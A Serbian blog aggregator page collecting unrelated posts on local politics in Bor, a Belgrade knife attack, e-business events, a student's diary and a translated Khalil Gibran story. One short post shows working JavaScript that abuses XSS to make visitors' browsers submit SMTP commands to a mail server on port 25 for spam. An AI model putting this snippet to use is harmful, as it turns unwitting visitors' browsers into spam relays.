Blogodak - srpski blogovi na jednom mestu

Naučnici Univerziteta u Nevadi, USA su stvorili živo biće - ovcu koja u sebi ima 15 procenata ljudskih ćelija! Ideja je, naravno, stvoriti donora ljudskih organa koji će se koristiti za transplantacije. Matične ćelije donora će se ubaciti u ovčiji fetus i nakon mesec-dva, jagnje će u sebi imati jetru, srce, pluća i mozak koji su [...]

Saradnja sa Mrežom kreativnih ljudi se nastavlja, a Tihomir mi je upravo poslao linkove ka tekstovima iz GNUzille koji su se našli na njihovom sajtu. Jako sam srećan da vidim slobodu na delu, a ovoga puta su "na udaru" bili tekstovi o Blenderu. "Elephants Dream" - Prvi slobodni CG film ...

Možda će RTB Bor biti i prodat, a možda čak i plaćen. Možda će se jednom desiti da zaboravimo šta je dim i plavičasta zavesa u sred dana i da nas pluća, onako baš zabole od čistog vazduha. Možda će prirodne lepote okoline grada postati prva i jedina asocijacija na naš grad, ali borani ili borčani nikad izgleda neće shvatiti da su oni onaj prvi i odlučujući faktor i da zapravo samo oni mogu i moraju da odlučuju o sudbini svog grada.
Naravno poznato je, i o tome neću sada, da je sve ovo što se dešava oko privatizacije pomalo smešno-da nije tužno. Zna se takodje da je gradom u pravilu upravljao neko ko neretko nikad nije ni bio tu .. medju nama. Takvi su po sili nekog nepoznatog običaja bili uvek važniji od samih gradjana, i ukoliko bi morali doći su dobijali sve povlastice koje su bile toliko elstične da je i njihovo delovanje protiv grada i gradjana bilo nešto što treba tolerisati a neretko i što pre zaboraviti.

Porodica nastradalog Miloja Pavlovića je nažalost tek po ovom tragičnom dogadjaju “izborila” pravo na svoj stan, pa će ovih dana, kažu, najzad napustiti svoju sobicu od nepunih 16 kvadrata u “Samačkom smeštaju” i useliti se u komforan stan. Na drugoj strani “stručnjaci” i oni drugi, koji su dolazili i odlazili su pre dolaska sticali pravo na komforan stan a zatim po napuštanju grada i položaja su iste izdavali, prodavali ili ne znam šta već. Koji su to viši interesi i prvila po kojima smo mi borani uvek bili manje važni. Mi smo na svojim ledjima i plućima osetili sve igre i podvale kojima su nas častili bez ikakavog pardona i respekta ali mi još uvek nemamo pravo glasa - pravo da se mi pitamo ili možda to ne želimo.
Predesnik opštine je onomad organizovao protest. Mnogi se nisu pridružili jer im je važnije to što je on radikal od onoga što je zapravo stvarno važno, a važno je biti jedinstven i boriti se za bolji, čistiji i organizovaniji Bor. U čitavoj toj igri predstavnici i članovi (svih) političkih stranaka na prvo mesto postavljaju svoje stranačke interese, vodeći računa o tome ko sa kime, protiv koga i zašto može ili ne može, a grad,… grad može da čeka. Pretrpeo je Bor svega i svačega ali bojim se da je ovo nešto najniže što grad i gradjani Bora mogu doživeti.

Očigledan je zaključak da političke stranke ne rade u interesu svojih birača već u interesu svojih potencijalnih predstavnika za mesta u vladi, ministarstvima ili negde drugde. Sindikat(i) sa promenjivim uspehom učestvuju u svemu tome vodeći računa o interesima svojih članova i uspevaju da dobije najbolji socijalni program ali im ne uspeva da saznaju šta u ugovoru o privatizaciji zapravo piše iako su i sami učestvovali u pregovorima i čitavmo postupku tenderske prodaje RTB-a, čak je jedan predstavnik mimo pravila mogao učestvovati -prisustvovati sastancima tenderske komisije.
Očekujem da će verovatno neka druga stranka ili koalicija na opštinskom nivou uskoro organizovati nešto što bi trebalo biti kontra predhodnom protestu ali da to, iako treba da bude isto ne bude ni približno slično iako je očigledno da u ugovoru o privatizaciji postoje katastrofalni propusti. Tako ćemo se zabavljati još par meseci a rezultat svih tih igara je apsolutno nepoznat, osim ako motiv svega nije u dobijanju vremena za novi manevar ..
U svemu ovome gradjani grada Bora gube, iz dana u dan, ćute i ne žele da se mešaju i eksponiraju, dok će na drugoj strani  oni koji su na to spremni, ponovo iskoristiti situaciju zauzeti pozicije. Opet ćemo kasnije uz kuknjavu i jadikovke tražiti nepoznate razloge naše propasti - pa dokle tako.

Gradjani Bora probudite se. Mi smo stranka iznad svake druge i zaboravimo bar na trenutak na sve što nas deli kako bi spasili što se spasiti može.

Napad nožem u Knez Mihailovoj
26. mart 2007. 09:32 -> 18:20 Izvor: B92

Beograd -- Sinoć u centru Beograda kineski državljanin kuhinjskim nožem napao nekoliko šetača u Knez Mihailovoj ulici, razlog još nije poznat.

Pet osoba je povređeno kada ih je u Knez Mihajlovoj ulici u Beogradu, nožem za sečenje mesa, napao kineski državljanin Ling Li (42). Dve osobe sa teškim povredama zadržane su u Urgentnom centru, a napadač je uhapšen.Vang Ling Li je profesor engleskog jezika, a u Srbiji živi već deset godina. Ling Li je ukrao nož za sečenje mesa iz prodavnice brze hrane i otrčao ka Knez Mihajlovoj ulici u kojoj je, nožem napadao prolaznike. Sedamnaestogodišnji Emir Veseli sa drugovima je sinoć oko pola jedanaest, šetao Knez Mihajlovom ulicom. "Odjednom su počeli da trče neki momci i kažu mi sagni se, pazi. A ja ništa ne shvatam. I odjednom sam osetio udarac. Okrenem se i vidim neki Kinez drži mačetu sav krvav. Dere se, smeje se kad me je udario, a ja ga prvi put u životu vidim", kaže Veseli. Katica Aleksić, menadžerka prodavnice brze hrane u Sremskoj ulici, opisuje šta se dogodilo: "On je zgrabio nož, ja sam devojku povukla prema nazad jer sam se uplašila , i on je potrčao prema Palati Albanije i tu je kod ovih kontejnera napao prvog dečka, isekao ga je po glavi, udarao ga je nožem po glavi, po rukama", prićča ona. "Ja sam istrčala napolje, tu je bilo momaka na roštilju što su čekali. Niko verovatno nije ni shvatao šta se dešava šta se događa", kaže ona. Emir, koji ima frakturu lobanje i posekotine glave, kaže da niko od prolaznika nije uspeo da savlada napadača koji je vitlao i pretio sečivom. Jedan od prolaznika bio je i 29-godišnji Marko Đurin. Nesrećnom mladiću napadač je nožem povredio glavu, posekao arterije i vene na obe ruke. "Đurin Marko (1978. godište) ima teške povrede obe ruke sa povredama krvnih sudova i povredama poglavine. Noćas je učinjena mikrohirurška intervencija, on je stabilan, nalazi se u našoj šok sobi", kaže Dušan Jovanović, zamenik direktora Urgentnog centra. Pored Emira i Marka, Ling Li je nožem lakše povredio još troje ljudi, pre nego što ga je policija savladala. Testovi urađeni u Urgentnom centru, pokazali su da Li nije bio pod dejstvom akohola i droge. Njemu je određen policijski pritvor, a protiv njega će biti podneta krivična prijava.

13.04. odrzace se Case Study Day na Specijalistickim studijama iz e-poslovanja u Novom Sadu. U terminu od 17:00 do 21:00 autori ce predstaviti sledece projekte:

- www.infostud.com
- www.activecollab.com
- www.ehost.co.yu
- www.myexit.org

Ulaz na ova predavanja je slobodan.

Specijalisticke e-biz studije u Banja Luci

U petak (30.03.) pocinju predavanja studijskog programa Specijalistickih studija iz e-poslovanja u Banja Luci - Banja Luka College.

U subotu (31.03.) ce u BL najverovatnije u terminu od 14:00 do 16:00 (jos cu potvrditi) biti dve studije slucaja, od kojih ce jednu na temu Startup kompanija drzati Marko Bijelic. Ova predavanja ce biti otvorenog tipa, tj. ulaz je slobodan.

Vidimo se u Banja Luci.

Unrest(2006) 5.9/10 (250 glasova)

Chapter 27 (2007) 6.1/10 (160 glasova)

Swimfan (2002) 4.5/10 (5,714 glasova)

Sun Kissed (2006) 5.4/10 (27 glasova)

Glumac, komičar Eddie Griffin je prilikom generalne probe za potrebe humanitarne priredbe slupao svoj Enzo Ferrari. Pogledajte video.

Inače, Eddie i njegov Ferrari imaju glavnu ulogu u predstojećem filmu “Redline” koji se očekuje u Američkim bioskopima od 14. aprila. Na sledećem klipu možete videti atmosferu sa snimanja filma.

Kombinacijom XSS-a i odredjenih podataka posetilica moze se kreirati nova vrsta targetiranog spama. Primer:

server='mail.server.com';
document.write('<form name="B" target="A" method="post" action="http://'+server+':25/" enctype="multipart/form-data">');
document.write('<textarea name="C"></textarea></form>');
s = 'HELO test\n';
s += 'EHLO test\n';
s += 'MAIL FROM:<test@hotmail.com>\n';
s += 'RCPT TO:<user@domain.com>\n';
s += 'DATA\n';
s += 'From: test@test.com\n';
s += 'To: test@test.com\n';
s += 'Subject: heh!\n';
s += 'testing 123\n\n';
s += '.\n\nQUIT\n\n';
document.B.C.value=s;
document.B.submit();

Jedini problem predstavlja pronalazenje raspolozivog mail servera, ali verujem da upornim spamerima to nece biti velika prepreka. Ova vrsta "napada" radi u Internet Explorer-u, Safari-ju, Operi, ... vreme je da developeri ponovo menjaju granice mogucnosti JavaScripta.

Vec par dana (nedelja) planiram da nesto napisem, ali nikako da se namolim... Dakle da krenem redom, mada ukratko:

Na Corbinom koncertu je bilo fenomenalno, zezeali smo se maksimalno, ma uzivancija. Svirali su skoro 3 sata i opet nisu stigli da odsviraju ni delic svega sto sam hteo da cujem... Posto sam rekao da cu biti kratak, na sledeceim linkovima mozete videti slike, jedan video zapis i utiske:
http://www.flickr.com/photos/milosmaric/tags/corbinkoncert/
http://www.youtube.com/watch?v=bJq4YbZLfgk
http://z6.invisionfree.com/Astronomija_1/index.php?showtopic=7

Sta je jos bilo pametno, da, nedelju posle toga je bilo okruzno iz fizike i bio sam drugi, 63 boda, i prosao sam na republicko! Jej!!!! Jedino je skrnavo sto je u BG-u, pa cemo jos videti da li ce nam skola platiti nocenje, mada po svemu sudeci nece :smrc: Ma vazno je da su prosli i David i Kosprdic, a od petnicara Nevena, Anja i Danijela, tako da cemo se opet videti... Da, taj dan kada je bilo takmicenje je bila Nevena u NS-u, pa smo se nasli i sa Jelenom i tako malo visili, bas bilo super... Evo je tema i o tome:
http://z6.invisionfree.com/Astronomija_1/index.php?showtopic=5&st=0

Inace nismo normalni, u subotu opet idemo u BG. Stefanu je rodjndan pa idemo kod njega, a pre toga idem sa Jelenom i Julijanom na sajam automobila (just can't wait :) ), tako da ce biti super!

Danas sam prevazisao samog sebe, u skoli sam za 5 casova koliko imamo po rasporedu stigao da radim kontrolni iz fizike i filozofije i odgovaram sociologiju i biologiju (i iz svega sem mozda filozofije ce biti 5 :P ), tako da sam i zvanicno nenormalan :P Sta cu, nista nisam radio mesec dana, pa se nakupilo... Ne, stvarno mi nije jasno kada sama to spremio kada sam ceo vikend isklosario (hehe, sada ce mi posecenost bloga opasti za 35%) :)

Sta jos ima pametno... Da, dolaze Stonsi, ali na treci dan EXIT-a, tako da mi je plan da taj dan odem u BG, a nekom uvaljam kartu za exit, a sve ostale dane da idem na exit, tako da je i mama konstatovala da nisam cist (ako tome dodam da ce Pepersi pasti par dana pre prijemnog :) )

I tako, sutra zavrsavam esej za Petnicu, cekam da se temperatura digne za jos koji stepen, pa da vozim bicikl, cekam subotu da idem na sajam, a i da se vidim sa svima..... :)

Hm, a rekao sam da ce biti ukratko :P

Pozdrav

Ispricao nam je ovo jedne snježne, na vjetru uzdrhtale noci u svojoj izdvojenoj kuci u dolini Kadiše.
Razgrcuci na ognjištu pepeo krajem štapa koji mu je bio u ruci, rece:
“Hocete da vam kažem zašto sam tužan.
Hocete da vam ispricam onu tužnu pricu koju sjecanje svakoga dana i svake noci u meni iznova vraca.
Dosadilo vam je moje cutanje. Smeta vam moje uzdisanje i mrzovolja. Rekli ste jedan drugom: kako da uðemo u kucu njegove ljubavi, ako nam ne otvori vrata na hramu svog bola?
U pravu ste. Onaj ko s nama ne dijeli bol, ne može biti saucesnik ni u cemu drugom.
Zato saslušajte moju pricu. Saslušajte me bez sažaljenja, jer sažaljenje je za slabe, a ja sam, u svom bolu, još uvijek jak.
Od rane mladosti, i u snu i na javi imao sam viziju žene cudnog izgleda. Vidio sam je u nocima osame kako stoji pored mog kreveta. U tom miru cuo bih njen glas. Ponekad bih sklapao oci i osjecao dodir njenih prstiju na celu. Otvarao sam oci, ustajao u strahu, osluškujuci šapat nicega.
Govorio sam sebi: Je li me mašta odvela toliko daleko da sam se izgubio u magli? Jesam li ženu lijepog lika, prijatnog glasa, nježnog dodira, stvorio od snova da bi zauzela mjesto neke stvarne žene? Da li se pomješala sa mojom svješcu, tako da sam njene sjenke pretvorio u voljenu saputnicu, s kojom se družim, i u kojoj tražim oslonac, zbog koje se udaljavam od ljudi, ništa ne cujem i ne vidim, ne bih li je ugledao i cuo njen glas? Jesam li poludio? Jesam li opsjednut covjek koji je pobjegao u samocu i od utvara samoce izmislio saputnicu i drugaricu?
Rekoh “drugaricu” i vi se cudite tome. Ali postoje neobicna iskustva, mi ih poricemo, jer se javljaju u nevjerovatnom obliku. Naše cuðenje i poricanje, meðutim, ne znace da ona u nama nisu stvarna. Ova žena iz mašte je bila moja drugarica. Djelila je sa mnom radosti i želje. Ujutru bih je ugledao naslonjenu na uzglavlje mog kreveta kako me gleda djetinje cisto, nježno kao majka. Pomagala mi je u svemu. Za stolom je uvijek bila sa mnom, razgovarala, pitala za mišljenje. Uvece bi prilazila i rekla: “Poðimo brdima i dolinama, dovoljno smo ovde boravili”. Tada bih ostavljao posao i polazio držeci je za ruku, sve dok ne bismo sjeli na stijenu zagledani u suton, kad dospijemo na neko udaljeno mjesto umotano u vecernji pokrivac, uronjeno u caroliju spokoja. Ponekad bi pokazivala oblake pozlacene zalaskom sunca, ponekad tražila da cujem cvrkut ptice u molitvi zahvalnosti i mira, prije nego meðu granjem potraži prenocište.
Toliko puta je došla kada sam bio zabrinut i nemiran. Primjetio bih je onda kada bih se smirio.
Toliko puta sam sretao ljude krijuci u sebi pobunu protiv onog što mi se ne dopada u njima, ali bi se oluja pretvorila u nebesku pjesmu uvijek kada bi meðu njima ugledao njen lik.
Toliko puta sam sjedio usamljen s macem životne boli u srcu, s lancima zagonetki postojanja oko vrata. Osvrtao bih se i vidio je zagledanu u mene sa svijetlom u ocima. Oblaci su se razilazili, srce zablistalo, život izgledao prepun radosti.
Pitate: Jesam li ovim neobicnim stanjem bio zadovoljan? Pitate: Može li u cvijetu mladosti biti dovoljno ono što nazivate iluzija, mašta, san - cak duševna bolest?
Kažem vam da su godine koje sam ovako proveo najljepši, najsretniji, najprijatniji i najspokojniji dio života koji znam. Kažem vam da sam sa svojom etericnom saputnicom predstavljao apsolutnu, cistu ideju koja kruži tragom sunceve svjetlosti, plovi morima, krece se mjesecinom obasjanim nocima, raduje se pjesmama koje niko nije cuo i zastaje pred prizorima koje niko nije vidio. Život, cijeli život je ono što duhom iskusimo. Postojanje, sveukupno postojanje sadržano je u onome što saznajemo i potvrðujemo tako da se tome radujemo ili zbog toga patimo. Ja sam nešto duhom iskusio. Doživljavao sam to svakoga dana i noci sve dok nisam napunio tridesetu godinu života.
Kamo srece da nisam napunio tridesetu. Kamo srece da sam hiljadu i jedan put umro prije nego sam napustio tu godinu koja mi je ukrala najlepši dio života, ranila moje srce, zaustavila me u vremenu kao suvo, ogoljeno i usamljeno stablo, tako da njegove grane ne plešu na pjesme vjetra, niti ptice savijaju gnijezda u njegovom lišcu i meðu njegovim cvjetovima.”
On zacuta na trenutak okrenuvši glavu, zatvorenih ociju, opuštenih ruku. Sav se pretvorio u ocaj. Cutali smo u ocekivanju da pricu nastavi. Podigao je kapke i isprekidanim glasom, koji je dolazio iz dubine ranjenog bica, rece:
“Sjecate se da me je prije dvadeset godina vladar ovog gorja poslao u Veneciju u naucnu misiju. Dao mi je da ponesem pismo za dužda, s kojim se upoznao u Konstantinopolju.
Napustio sam Liban i isplovio talijanskim brodom. Bilo je to u aprilu mjesecu, kad duh proljeca treperi zrakom, previja se u morskim valovima, pojavljuje u lijepim slikama na bijelim oblacima skupljenim na horizontu. Kako da vam opišem to vrijeme koje sam proveo na brodu? Snaga ljudske rijeci ne prelazi granice ljudske spoznaje i osjecanja. Duh posjeduje ono što je dalje od spoznaje i tananije od osjecanja. Kako da vam to naslikam rijecima?
Godine koje sam proveo sa svojom etericnom saputnicom su godine prijateljstva i bliskosti, spokoja i zadovoljstva. Ni pomislio nisam da bol vrijeba iza zastora srece i da je gorcina talog koji miruje na dnu moje caše. Ali, oduvijek sam znao da ce uvenuti cvijet procvao na oblaku i nestati pjesma koju su otpjevale nevjeste svitanja. Kada sam napustio ova brda i doline, moja saputnica je sjela blizu mene u kolima koja su me odvela do obale. Moja drugarica je ta tri dana, koja sam proveo u Bejrutu prije puta, išla tamo gdje sam ja išao, zastajala kada bih ja zastao. Uvijek kada bih sreo nekog prijatelja, vidio sam kako mu se osmjehuje. Kada bih išao nekud u posjetu, osjetio bih njenu ruku u svojoj. Kada bih sjedio na hotelskoj terasi slušajuci zvukove grada, dijelila je moje misli. Ali, kada me je camac odvojio od bejrutske luke, onoga trena kada sam stupio na brod, osjetio sam da se nešto promijenilo u svemiru moga duha, osjetio sam neku snažnu i nevidljivu ruku kako me hvata za podlakticu. Cuo sam glas iz dubina kako mi na uvo šapuce: ‘Vrati se odakle si došao. Siði u camac i vrati se na obalu svoje zemlje, prije nego brod isplovi.’
Brod je isplovio. Bio sam slican vrapcu u kandžama jastreba koji kruži širokim prostranstvom. Kada je došlo vece, pošto su libanski vrhovi nestali u morskoj izmaglici, stajao sam sâm na prednjem dijelu broda. Djevojke iz mojih snova, žene koju sam zavolio, žene koja je pratila moju mladost, nije bilo pored mene. Slatka djevojcica, ciji sam lik vidio kad god bih pogledao u nebo, ciji sam glas cuo kad god bih osluškivao tišinu, ruku dodirivao kad god bih ispružio ruku. Na ovom brodu je nije bilo, i po prvi put, prvi put sam stajao sâm ispred noci, mora i svemira.
Tako sam putovao od mjesta do mjesta zovuci u sebi svoju saputnicu, gledajuci u valove koji se prevrcu, ne bih li, možda, njen lik ugledao u bjelini pjene.
U ponoc, kada su putnici otišli na spavanje i kada sam ostao sâm, izgubljen i nemiran, iznenada sam se osvrnuo i vidio kako stoji u magli na nekoliko koraka od mene. Uzdrhtao sam i pružio ruke prema njoj vicuci: ‘Zašto si me napustila?… Zašto si me dala samoci? Kuda si otišla? Gdje si bila? Doði bliže, doði meni i ne ostavljaj me više.’
Nije mi prišla, štaviše nije se pomakla s mjesta. Na njenom licu utisnuo se izraz neviðenog bola i tuge. Rece tiho: ‘Došla sam iz morskih dubina da te na casak vidim. Ponovo cu otici tamo. Idi u svoju kabinu, odmaraj se i sanjaj.’
Rece ovo, pomješa se s maglom i nestade. Poceo sam da je dozivam kao gladno dijete. Širio sam ruke i dohvatao samo vlažni zrak noci.
Ušao sam u kabinu s necim što se u mojoj duši kolebalo, borilo, spuštalo i uzdizalo. U utrobi tog broda bio je još jedan brod na moru ocaja i sumnje. Zacudo, samo što sam položio glavu na jastuk, kapci su otežali, tijelo klonulo, tako da sam se predao dubokom snu sve do jutra. Sanjao sam. Vidio sam svoju saputnicu na krizu od procvjetalog jabukovog drveta. Krv je kapala iz njenih dlanova i stopala na kriz, slivala se na travu i mješala s opalim cvjetovima.
Brod je danonocno plovio izmeðu dvije pucine, ali ja nisam znao jesam li covjek koji se nekim ovozemaljskim poslom zaputio nekud daleko ili sjenka izgubljena u svemiru u kojem postoji samo magla. Moje saputnice nije bilo u blizini. Njenog lika nije bilo ni u snu ni na javi. Uzaludno sam dozivao moleci i prizivajuci tajne sile da cujem njen glas, vidim njen obris, osjetim dodir njenih prstiju na celu.
Ovako sam proveo cetrnaest dana. U podne petnaestog dana iz daljine se ukazala talijanska obala. Brod je toga dana uvece ušao u venecijansku luku. Prišle su šarene gondole da putnike i njihov prtljag prebace do grada.
Poznato vam je da se Venecija nalazi na desetinama malih, tijesno grupiranih ostrva, tako da su ulice kanali, zgrade i palace u vodi, gondole zamjenjuju kola.
Kada sam s broda sišao u gondolu, laðar me je upitao:
-Kuda želite, gospodine?
Cim sam spomenuo dužda, pogledao me je s pažnjom i poštovanjem, i poceo da vesla.
Gondola je krenula. Bilo se vec smracilo. Noc je svoj plašt spustila na grad. Zasvjetlili su prozori palaca, bogomolja i sastajališta. Njihov odbljesak svjetlucao je i treperio u vodi. Venecija je podsjecala na san pjesnika koji se zanosi neobicnim prizorima i predjelima iz mašte. U blizini mjesta na kojem se kanal spajao s drugim zacula su se sa svih strana zvona, ispunjavajuci nebo tužnim, isprekidanim jecajima koji donose strah. Iako sam bio u nekoj vrsti transa, odvojen od spoljnjeg svijeta, ovi metalni zvuci probadali su kao klinovi moje grudi.
Gondola se zaustavila uz kamene stepenice koje su se iz vode uzdizale do plocnika. Laðar se okrenu prema meni i rukom pokaza na palacu okruženu baštom. Rece: ‘To je ovde’. Izašao sam iz gondole i polako krenuo prema kuci. Laðar je s torbom na leðima išao za mnom, sve dok mu nisam dao novac kada smo stigli do vrata. Pokucao sam i vrata su se otvorila. Zatekoh ožalošcenu poslugu. Skrivali su suze i jecaje. Zacudio me je prizor i nisam znao šta da radim.
Odmah mi priðe jedan sredovjecan sluga. Pogleda me natecenih kapaka. Nakon uzdaha upita: ‘Šta želite gospodine?’ Rekoh: ‘Ovo je kuca venecijanskog dužda?’ Klimnuo je glavom potvrdno.
Tog casa izvadio sam pismo koje je poslao libanski vladar i pružio mu ga. Cutke je pogledao adresu, zatim polagano krenuo prema vratima na kraju hodnika.
Za sve vrijeme u meni ne bijaše ni misli ni želja. Prišao sam jednoj mladoj sluškinji i upitao za razlog njihove žalosti. Odgovorila je tužno: ‘Pa zar niste culi da je duždova kcerka danas umrla?!’
Nije više ništa rekla. Dlanom je pokrila lice i briznula u plac. Zamislite kako se osjeca covjek što je preplovio more kao maglovita, nejasna misao, koju je neki nebeski gorostas bacio u pjenušave valove i sivu maglu. Zamislite kako se osjeca mladic koji se dvije nedjelje krece izmeðu jauka ocaja i vriska pucine i na kraju se puta naðe pred vratima kuce u kojoj se krecu tužne sjenke i koju ispunjavaju bolni jecaji. Zamislite stranca koji gostuje u palaci koju je natkrilila smrt.
Vratio se sluga koji je odnio pismo svom gospodaru. Naklonio se rekavši: ‘Izvolite, gospodine. Dužd vas ocekuje.’
Rece ovo i poðe ispred mene. Išao sam za njim, sve dok mi kod vrata na kraju hodnika nije dao znak da uðem. Ušao sam u prostranu odaju s visokim plafonom, osvjetljenu svijecama. U njoj su sjedili neki uglednici i svecenici. Svi su cutali. Kad sam napravio nekoliko koraka, ustade jedan starac sijede brade, s bremenom tuge na povijenim leðima i bolom na licu. Prišao mi je i uzeo me za ruku rekavši: ‘Žao mi je da ste došli iz daleka i zatekli nas u žalosti za najdražim. Ali nadam se da vas naš gubitak nece sprijeciti da obavite ono zbog èega ste došli. Budite spokojni, mladicu.’ Zahvalio sam mu na lijepim rijecima uz izraze saucešca zbog njegovog gubitka, u nekoliko smušenih rijeci.
Starac me povede do stolice pored mjesta gdje je sjedio. Pridružio sam se ostalima koji su cutke sjedili, gledajuci krišom njihova tužna lica, slušajuci njihove uzdahe. U grudima su se skupljali jad i tuga. Poslije su ljudi jedan za drugim odlazili i sa ožalošcenim ocem u pustoj prostoriji sam ostao samo ja. Tada sam ustao i prišao mu s rijecima: ‘Dopustite mi, gospodine, da odem’. On se usprotivio govoreci: ‘Nemojte, prijatelju, nemojte ici. Budite naš gost ako vam ne smeta da gledate našu tugu i slušate naš plac.’ Postidjele su me njegove rijeci i sagnuo sam glavu u znak pristanka. On nastavi: ‘Vi Libanci ste najbolji domacini na svijetu. Ostanite kod nas da vam pružimo bar dio onoga što stranac dobije u vašoj zemlji!’
Odmah zatim nesretni starac je pozvonio srebrnim zvonom i uðe sobar u brokatnoj odjeci. Starac mu rece pokazujuci na mene: ‘Odvedi našeg gosta u sobu na istocnoj strani. Posluži ga jelom i picem i pobrini se o njemu.’
Sobar me je odveo u jednu prostranu, prelijepo ureðenu sobu s raskošnim namještajem, slikama i svilenim tapiserijama na zidu. Na sredini je bio skupoceni krevet prekriven vezenim pokrivacima i jastucima.
On ode i ja se srucih na stolicu razmišljajuci o sebi, ljudima oko mene, svojoj samoci i onome što se desilo na pocetku mog boravka u tako dalekoj zemlji.
Vratio se s tacnom na kojoj je bilo jelo i pice i postavi je ispred mene. Pojedoh nešto na silu, zatim sobaru rekoh da može da ide.
Dva sata sam proveo hodajuci po sobi ili stojeci uz prozor zagledan u nebo, osluškujuci glasove laðara i šum njihovih vesala po vodi, sve dok, iscrpljen nesanicom i misli podeljenih izmeðu vidljivog i nevidljivog, nisam legao predan transu u kojem se spajaju san i java, kolebaju sjecanje i zaborav, kao što se na obali smjenjuju plima i oseka. Bio sam nalik na nijemo poprište na kojem su sukobljene nijeme vojske, smrt im uzima vojnike i oni cutke umiru.
Ne, ne znam koliko sam vremena proveo u ovom stanju. U životu postoji prostor koji savladava naš duh, ali nemjerljiv ovozemaljskim vremenskim aršinima.
Ne, ne znam koliko sam vremena proveo u ovom stanju. Tada sam samo znao, i sada znam, da sam u tom nejasnom stanju osjetio da neko bice stoji u blizini mog kreveta, osjetio sam da neka sila podrhtava u prostoru. Neko etericno bice me je zvalo, ali bez glasa, uznemiravalo, ali bez znaka. Ustao sam i uputio se u hodnik privucen necim neodoljivim. Išao sam, ali nesvjesno. Kretao sam se kao u snu. Kretao sam se svijetom izvan vremena i prostora, sve dok na kraju hodnika nisam ušao u ogromnu prostoriju sa mrtvackim sandukom na sredini, pod svjetlom mnoštva svijeca na obe strane, okruženim cvijecem. Prišao sam, kleknuo i pogledao. Pogledao sam i vidio lik moje saputnice. Iza vela smrti vidio sam lik moje saputnice iz snova. Vidio sam ženu prema kojoj sam osjecao više od ljubavi. Bila je mrtvo, nepomicno bijelo tijelo u bijeloj odjeci i bijelom cvijecu, koje prekriva spokoj beskraja i strah od vjecnosti.
Bože! Gospodaru ljubavi, života i smrti, stvorio si naš duh i poslao u svijetlo i tamu. Ti si stvorio naše srce i u njega udahnuo otkucaje nade i bola. Ti, ti si moju saputnicu pretvorio u beživotno tijelo, ti si me vodio ovozemljaskim putevima, ne bi li mi pokazao da život skriva smisao umiranja, radost smisao patnje. Ti si u pustinji moje samoce posadio bijeli ljiljan i onda me poveo u neku daleku dolinu, da mi pokažeš da je to uveli cvijet koji umire!
Da, drugovi moji, saputnici moje samoce, Bog mi je nasuo gorku cašu. Nek bude Božja volja. Mi - ljudi, mi - treperava prašina u beskraju, samo možemo da se pokorimo. Ako zavolimo, ta ljubav ne zavisi od nas niti pripada nama. Ako se radujemo, radost nije u nama vec u životu samom. Ako patimo, ne boli nas rana, vec je bol u prirodi samoj.
Moja prica nije za žaljenje. Onaj ko se žali, sumnja u život. Ja sam vjernik koji vjeruje u logiku gorcine prisutne u svakom gutljaju našeg nocnog pica. Vjerujem u ljepotu klinova u mojim grudima. Vjerujem u milost prstiju od željeza koji kidaju opnu moga srca.
Eto, to je moja prica. Kako da je završim, kad ona nema kraj? Dugo sam klecao pred djevojkom na odru koju sam zavolio u snu i gledao u njeno lice, sve dok zora nije dotakla staklo na prozorima. Ustao sam i vratio se u sobu naslonjen na ljudski bol, povijen pod teretom vjecnosti.
Tri tjedna kasnije napustio sam Veneciju. Vratio sam se u Liban, kao da nosim tisucu godina iza sebe. Vratio sam se kao i svaki drugi Libanac - iz tuðine u tuðinu.
Oprostite mi, dugo sam govorio. Oprostite!”

Khalil Gibran